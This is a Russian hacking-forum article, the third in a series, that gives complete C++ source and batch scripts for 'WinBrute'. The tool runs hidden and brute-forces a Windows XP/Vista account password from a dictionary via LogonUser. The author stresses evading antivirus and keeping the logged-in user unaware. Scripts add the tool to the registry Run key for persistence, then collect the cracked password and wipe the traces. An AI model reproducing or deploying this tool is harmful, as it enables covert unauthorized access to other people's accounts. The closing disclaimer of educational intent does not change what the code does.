15:23
Локальный взлом Windows XP/Vista #3
Что делать если Локальный взлом Windows XP непоможет, т.к. нет доступа к биосу и вернуть его нереально, тобиш загрузится с чего бы то невыйдет...
Локальный взлом Windows XP #2 тоже непоможет, т.к. файловая система NTFS.
Есть еще метод.
Метод грубой силы, который мы и намерены применить (нет не подумайте грубой физической силы, упаси...)

Значит третья часть... bruteforce

Итак мы будем подбирать пароль админа (или можна другого юзера, как пожелаете).
Для этого напишем програмку, которая и будет заниматся черным делом, а мы только периодически будем смотреть,
есть ли результаты, да кормить ее новыми словарями для брута ))
К тексту скажу, что подобное решение уже есть и называется оно ntpassworder , но наше приложение обладает четырмя преимуществами:

1. Пока оно неопределяется антивирусами как Hack Tool , соответственно проблем будет меньше ))
2. Оно непоказывает окно, поэтому может себе работать в то время как пользователь неподозревает о его существовании (ну в процессах понятно оно есть).
3. Пароли берет из словаря (в ntpassworder нет такого и опции по настраиванию довольно скудны, например нету маски). В силу этого можно файл напичкать хоть и подряд идущими числами.
4. В силу невидимости (в трее тоже небудет видно) программу можно засунуть в автозагрузку и она будет себе брутить и сохранять текущую позицию брута каждые 5 минут, а после перезагрузки и\или захода польователя продолжит с сохраненной позиции.

Теперь о том на чем будем ее писать: на С++
В частности я испольщовал DEV C++ скачать можно отсюда http://sourceforge.net/projects/dev-cpp/

Итак, устанавливаем его, к примеру, на С:
Запускаем главный файл devcpp.exe Файл -) создать -) проект -) Windows Application
Стираем все. Далее туда пишем следующее:

Code
/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
//------------------------------------------------------------------------------------------------------------------------//
#include <windows.h>
#include <string.h>

//Процедура запсис текущей позиции во временной файл temp.dat
int WriteTempToFile(int i, char ft_Path[255]) {
  HANDLE htFile;
  DWORD bytesHtWritten;
  char k[10];
  itoa(i, k, 10);
  htFile=CreateFile(ft_Path, GENERIC_WRITE | GENERIC_READ, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_ARCHIVE, 0);
  WriteFile(htFile, k, 10, &bytesHtWritten, NULL);
  CloseHandle(htFile);
  };

//Главная процедура
int main(int argc, char* argv[])
{
  // Проверяем переданы ли аргументы, если нет, то выводим краткую справку и завершаем процесс
  if (argc<2) {
  MessageBox(0,"Usage: WinBrute.exe <username>\n<username> - User name to brute\n", "WinXP/Vista bruteforce by bre@k [hackzone.ru]", MB_OK);
  ExitProcess(0);
  };
   
  //Подождем 100 секунд так как в случает запуска с автозарузки лутьше выждать пока стартуют программы
  //Sleep(100000);
   
  // Получение текущей директории
  int dirSize=240;
  char fPath[255];
  GetCurrentDirectory(dirSize, fPath);
   
  // Копируем путь к текущей директории еще в 2 переменные
  char frPath[255];
  char ftPath[255];
  for (int i=0; i<=strlen(fPath); i++) {
  frPath[i]=fPath[i];
  ftPath[i]=fPath[i];
  };
  // Присоединяем к пути имена файлов
  strcat(fPath, "\\out.dat");
  strcat(frPath, "\\in.dat");
  strcat(ftPath, "\\temp.dat");
   
  //Читаем файл паролей in.dat
  //-----------------------------------------------------------------------------------------
  HANDLE hrFile;
  hrFile=CreateFile(frPath, GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_ARCHIVE, 0);
   
  int hrFileSize;
  hrFileSize=GetFileSize(hrFile, NULL);
  char* hrFileBuffer=new char[hrFileSize];
  DWORD hfFileBytesRead;
  ReadFile(hrFile, hrFileBuffer, hrFileSize, &hfFileBytesRead, NULL);
   
  CloseHandle(hrFile);
  //Конец читающих инструкций
  //-------------------------------------------------------------------------------------------
   
   
  // Фильтруем: каждое слово должно закачиватся на 0х00 чтобы можно было обращатся к нему
  // по указателю на начало слова
  int ii=0;
  HANDLE phToken;
  for (int i=0; i<=hrFileSize; i++) if (hrFileBuffer[i]==0x0A) {
  hrFileBuffer[i]=0x00;
  ii=1;
  };
   
  for (int i=0; i<=hrFileSize; i++) if (hrFileBuffer[i]==0x0D) {
  hrFileBuffer[i]=0x00;
  ii=2;
  };
   
  // Задаем начальные значения двух слепков времени
  SYSTEMTIME systime;
  SYSTEMTIME systimestamp;
  GetSystemTime(&systime);
  GetSystemTime(&systimestamp);
   
  // Читаем последнюю позицию из файла temp.dat , если такого файла нет, то позиция "0"
  int starti=0;
  HANDLE hrtFile;
  hrtFile=CreateFile(ftPath, GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_ARCHIVE, 0);
  if (GetLastError()==0) {
  char hrtFileBuffer[10];
  DWORD hrtFileBytesRead;
  ReadFile(hrtFile, hrtFileBuffer, 10, &hrtFileBytesRead, NULL);
  starti=atoi(hrtFileBuffer);
  // Проверяем файл на метку "1111111111" если это так то перебор уже закончен и мы выходим из программы
  for (int t=0; t<=9; t++) if (hrtFileBuffer[t]=='1') if (t==9) ExitProcess(4);  
  };
  CloseHandle(hrtFile);
   
   
  // Цикл проверки всех паролей из списка-----------------------------------------------------------------
  for (int i=starti; i<=hrFileSize; i++){
  if (hrFileBuffer[i]==0x00) i=i+ii; else continue;

  // Сохраняем каждые 5 минут текущую позицию чтения
  // Если время перевалило за 54 минуты то пишем текущую позицию в файл и ждем 5 минут, дабы избежать неприятности
  if (systime.wMinute>0x0036) {
  WriteTempToFile(i, ftPath);
  Sleep(300000);
  GetSystemTime(&systime);
  GetSystemTime(&systimestamp);
  }
  else if (systime.wMinute>systimestamp.wMinute+0x0005) {
  GetSystemTime(&systimestamp);
  WriteTempToFile(i, ftPath);
  };
  GetSystemTime(&systime);
   
  // Процедура проверки соответствия пароля логину
  // Если найден пароль, то выполняем следующие инструкции
  if (LogonUser(argv[1], NULL, &hrFileBuffer[i], LOGON32_LOGON_INTERACTIVE, LOGON32_PROVIDER_DEFAULT, &phToken)!=0) {
  CloseHandle(phToken);
   
  //Вычисление длины пароля
  int j=i;
  while(TRUE) {
  if (hrFileBuffer[j]!=0x00) j++; else {
  j=j-i;
  break;
  };
  };
   
  //Пишем в файл out.dat результат в формате Username: Password
  HANDLE hwFile;
  hwFile=CreateFile(fPath, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_ARCHIVE, 0);
  DWORD bytesWritten;
  char writeResult[255];
  for (int k=0; k<strlen(argv[1])+1; k++) writeResult[k]=argv[1][k];
  strcat(writeResult,": ");
  strcat(writeResult, &hrFileBuffer[i]);
  WriteFile(hwFile, writeResult, strlen(argv[1])+j+2, &bytesWritten, NULL);
  CloseHandle(hwFile);
   
  // Учтанавливаем метку в файл, что перебор закончен
  i=1111111111;
  WriteTempToFile(i, ftPath);
   
  // Завершаем процесс
  ExitProcess(5);
  };
  };
   
  //Если мы здесь, то пароля в списке небыло и мы записываем в файл out.dat что пароля не нашли для указанного пользователя
  HANDLE hwFile;
  hwFile=CreateFile(fPath, GENERIC_WRITE, 0, NULL, OPEN_ALWAYS, FILE_ATTRIBUTE_ARCHIVE, 0);
  DWORD bytesWritten;
  char writeResult[255];
  for (int k=0; k<strlen(argv[1])+1; k++) writeResult[k]=argv[1][k];
  strcat(writeResult, ": cannot find password in passwords list\n");
  WriteFile(hwFile, writeResult, 40+strlen(argv[1]), &bytesWritten, NULL);
  CloseHandle(hwFile);
   
  // Учтанавливаем метку в файл, что перебор закончен
  int n=1111111111;
  WriteTempToFile(n, ftPath);
   
  return 0;
}

///------------------------------------------------------------------------------------------------------------------------///
/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////

Жмем Ctrl+S , а потом Ctrl+F9 и если пройшло Compiling а потом Linking без проблем то в нашей директории куда мы сохранили проект появится исполняемый файл - переименуем его в WinBrute.exe

Теперь попробуйте его просто запутить: вылетит окно что надо передать параметры и интрукция по использованию.
Запускать нужно например так: WinBrute.exe Администратор , где Администратор это имя пользовтеля, но можно и другое.

Кроме того в текущей директории если вы вручную его запускаете должен быть файл паролей in.dat
Проверки на его присутствие в программе нету, но\поэтому она невылетит с ошибкой (веренее не должна))) ) и не скажет, что нету файла, пугая сидящего пользователя внезапным окном )) (ведь нам нужна скрытность) но и положительного результата, как понимаете, точно небудет.
А в исходящем файле out.dat будет "Администратор: cannot find password in passwords list"

Для удобства соорудим коммандный файл для запуска нашей проги:
--------------------------------
@echo off
cd .\
chcp 1251
start WinBrute.exe Администратор

--------------------------------
Дадим ему имя startme.bat , теперь в одной директории должны быть startme.bat , in.dat , WinBrute.exe
Запускаем startme.bat
Идем в диспетчер задач и смотрим: наш процесс работает.
Если брут окончен, то в нашей директории появится файл out.dat с результатом и temp.dat, в котором будет метка, что брут закончен.
temp.dat можно удалить, а то из нашего каталога брутить потом небудет ))

Итак, если повезло, то пароль подобран. Если же нет, то удаляем наш процесс и перейдем к следующему этапу.

Видать брутить будет долго, а значит того времени, что мы сидим за компом может нехватить.
Значит дадаим файл паролей побольше и поставим програмку на автозагрузку.

Автоматизировать процесс поможет следующий коммандный файл:
---------------------------------------------------------------начало--------------------------------------------------------

Code
@echo off
rem отключили эховывод

title Adding to autostart WinBrute by break [hackzone.ru]

rem дефолтовое значение переменной для ошибки
set a=1

rem устанавливаем текущую директорию активной
cd .\

rem если нет каталога C:\Temp то мы его создаем
if not exist C:\Temp md C:\Temp

rem копируем с текущего каталога WinBrute.exe в папку C:\Temp
copy /Y WinBrute.exe C:\Temp

rem Если файл успешно скопировался то напишем
if "%errorlevel%"=="0" echo File WinBrute.exe was successfully copied to C:\Temp

echo.

rem копируем с текущего каталога in.dat в папку профиля пользователя
copy /Y in.dat "%userprofile%"

rem Если файл успешно скопировался то напишем
if "%errorlevel%"=="0" echo File in.dat was successfully copied to %userprofile%

echo.

rem меняем кодовую страницу, чтоб небыло каракуль ))
chcp 1251

rem добавлем в реестр ключ автозапуска на нашу скопированную программу
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v WinBrute /t REG_SZ /d "C:\Temp\WinBrute.exe Администратор" /f

rem если ошибки нет - ставим а=1
if "%errorlevel%"=="0" set a=1

rem возвращаем кодовую страницу
chcp 866

echo.

rem проверяем код ошибки и если все нормально то так и напишем, а то после reg.exe выведется неразбериха
if "%a%"=="1" echo Information successfully added to registry

echo.

pause

-----------------------------------------------------------------конец-------------------------------------------------------
Дадим ему имя add_to_autostart.bat
Теперь в найшей папке точно должны быть add_to_autostart.bat , WinBrute.exe , in.dat

Запускаем коммандный файл: Если два файла скопировано и информация в реестр успешно добавлена, то можно перезайти под этим юзером и брут начнется.

Теперь когда вы прийдете следующий раз чтобы посмотреть на результаты "своего" труда то понадобится проверить файл out.dat , поудалять остальные свои файлы и удалить запись с реестра.

И как всегда автоматизируем рутинную работу (следующий коммандный файл):
------------------------------------------------------------------начало-----------------------------------------------------

Code
@echo off
rem отключили эховывод

title Getting password file from WinBrute by break [hackzone.ru] and Cleaning... if success

rem делаем текущую директорию активной
cd .\

rem если есть файл паролей то идем на метку 1
if exist "%userprofile%\out.dat" goto 1

rem пишем что нет пока файла паролей
echo there is no password results yet

pause

rem завершаем коммандный файл
exit

:1
rem скопируем файл паролей в текущую директорию
copy "%userprofile%\out.dat" .\

rem Если файл успешно скопировался то напишем, что он у нас и мы можем туда заглянуть
if "%errorlevel%"=="0" echo YES i've got file with password... check it

echo.

rem поудаляем из директории профиля польователя in.dat, out.dat, temp.dat и файл C:\Temp\WinBrute.exe
del /q /s "%userprofile%\in.dat"
del /q /s "%userprofile%\out.dat"
del /q /s "%userprofile%\temp.dat"
del /q /s C:\Temp\WinBrute.exe

rem удалим ключ автозапуска
reg delete HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v WinBrute /f

rem Если ключ удалился то так и напишем
if "%errorlevel%"=="0" echo Key was deleted!!!

pause

rem все. выходим
exit

------------------------------------------------------------------конец------------------------------------------------------
Дадим ему имя get_file_password.bat

Теперь мы пришли (или никуда неуходили ))) ).
Запускаем get_file_password.bat (он может быть и сам по себе, например на флешке)
В случае если результатов нет то так нам и напишет, если же они есть то в текущую папку скопируется out.dat поудаляются остальные и удалится запись с реестра (за чем мы можем наблюдать в коммандном окне).

Все файл с паролем у нас - откроем его блокнотом и что увидим:
если увидим формат [имя юзера: что-то похожее на пароль] то понятна наша радость )))
если же там [имя юзера: cannot find password in passwords list] то пароля небыло в файле паролей.
В этом случае повторяем процедуру с коммандным файлом add_to_autostart.bat, но в текущую директории ложим другой файл с паролями.

На заметку: Не стоит забывать, что программа ищет метку окончания брута в файле temp.dat и если такову найдет, то дальше брутить небудет ни при каких обстоятельствах, хоть вы смените и имя пользователя и файл паролей.

Как и прежде на hackzone.ru в раздел файлов я залью уже откомпилированный файл и готовые коммандный файлы (в архиве).
Останется только в файле add_to_autostart.bat имя Администратор заменить на, то которое хотите брутить.

Скорость брута у меня была около 3-5 тыс. паролей в секунду.
Пароль 50000 подобрался за 10 секунд (использовался файл паролей из архива) (проц intel core 2 duo 2.0 ГГц).
Это так для прикидки.

Программу тестировал и ошибок необнаружил. Принимаются любые замечания и предложения )))

Обьяснения: Статья писалась исключительно в образовательных целях и за все возможные последствия после прочтения этой статьи, в том числе и после использования прикрепленных файлов (они выкладываются для ознакомления) я ответственности не несу.

Категория: Взлом | Просмотров: 335 | Добавил: admin | Рейтинг: 0.0/0
Всего комментариев: 0
Добавлять комментарии могут только зарегистрированные пользователи.
[ Регистрация | Вход ]